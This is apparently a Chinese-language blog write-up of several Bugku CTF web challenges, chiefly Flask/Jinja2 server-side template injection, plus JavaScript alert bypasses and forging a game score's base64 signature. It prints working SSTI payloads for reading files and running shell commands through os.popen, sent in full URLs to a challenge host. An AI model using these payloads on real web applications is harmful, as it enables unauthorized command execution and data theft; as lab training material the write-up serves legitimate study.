0%

bugku之web

bugku之web

Simple_SSTI_1

首先payload如下,查看一下配置文件,发现什么都没有

1
/?flag{{config}}

根据提示先打开源码看一下,发现了这样的一句话

直接payload

1
/?flag={{config.SECRET_KEY}}   ##这里的SECRET_KEY要大写

Simple_SSTI_2

根据题目以及提示可以看出本题是模板注入

image-20220707160037497

先传参测试一下image-20220707160146192

发现可以执行,接着传入一些错误的语法句子查看一下具体的漏洞

image-20220707160437502

发现是python的flask模板注入漏洞,并且python的版本是3.7,因此就可以查找到一些payload

文件读写

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('在这里输文件名', 'r').read() }}{% endif %}{% endfor %}

命令执行

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('在这里输命令').read()") }}{% endif %}{% endfor %}

顺便看了一下python魔法函数

image-20220707173819800先直接ls /一下,读取一下系统文件

1
2
http://114.67.175.224:16281/?flag={%%20for%20c%20in%20[].__class__.__base__.__subclasses__()%20%}{%%20if%20c.__name__==%27catch_warnings%27%20%}{{%20c.__init__.__globals__[%27__builtins__%27].eval(%22__import__(%27os%27).popen(%27ls%20../%27).read()%22)%20}}{%%20endif%20%}{%%20endfor%20%}或者是
?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27ls%20../%27).read()%20}}

image-20220707161745689

发现了一些文件夹,然后再读取一下文件夹内的内容

在app文件里发现了flag

1
2
http://114.67.175.224:16281/?flag={%%20for%20c%20in%20[].__class__.__base__.__subclasses__()%20%}{%%20if%20c.__name__==%27catch_warnings%27%20%}{{%20c.__init__.__globals__[%27__builtins__%27].eval(%22__import__(%27os%27).popen(%27ls%20../app/%27).read()%22)%20}}{%%20endif%20%}{%%20endfor%20%}或者是
?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27ls%20../app%27).read()%20}}

image-20220707162100797

直接cat flag即可

1
2
http://114.67.175.224:16281/?flag={%%20for%20c%20in%20[].__class__.__base__.__subclasses__()%20%}{%%20if%20c.__name__==%27catch_warnings%27%20%}{{%20c.__init__.__globals__[%27__builtins__%27].eval(%22__import__(%27os%27).popen(%27cat%20../app/flag%27).read()%22)%20}}{%%20endif%20%}{%%20endfor%20%}或者是
?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27ls%20../app/flag%27).read()%20}}

image-20220707162231707

alert

进去之后,会弹出来两个提示框,关闭即可

image-20220707180621877

然后直接查看源码

把最下面这一段直接HTML实体编码一下即可

image-20220707180837626

你必须让他停下

打开是一个一直跳动的页面

可以直接关闭浏览器的js特性,然后查看源码

或者是使用bp抓包,一直重发,直到出现flag

image-20220707181537392

GAME1

这是一道游戏题,先查看一下js文件,发现没有什么可利用的信息,因为这是web线上游戏,所以没有存档文件,于是想到用BurpSuite抓包,查看到在游戏死亡时会提交一个get请求

image-20220712233704724

GET请求的参数是写在明文上的,根据以往的经验,把score改成99999(尝试尽量大),发现失败了

image-20220712233756214

重新看一下GET传参除了score分数以外,还有一个参数sign,并且sign还是base64加密过的,多玩几次发现不管分数多少,密文格式都是zM***==,所以 密文= “zM + Base64(score) + ==”,所以将所改的score直接base64加密一下就行

image-20220712234107485

bp

image-20220712235440829

直接爆破找一下开头为z的密码,试一下

image-20220712235649488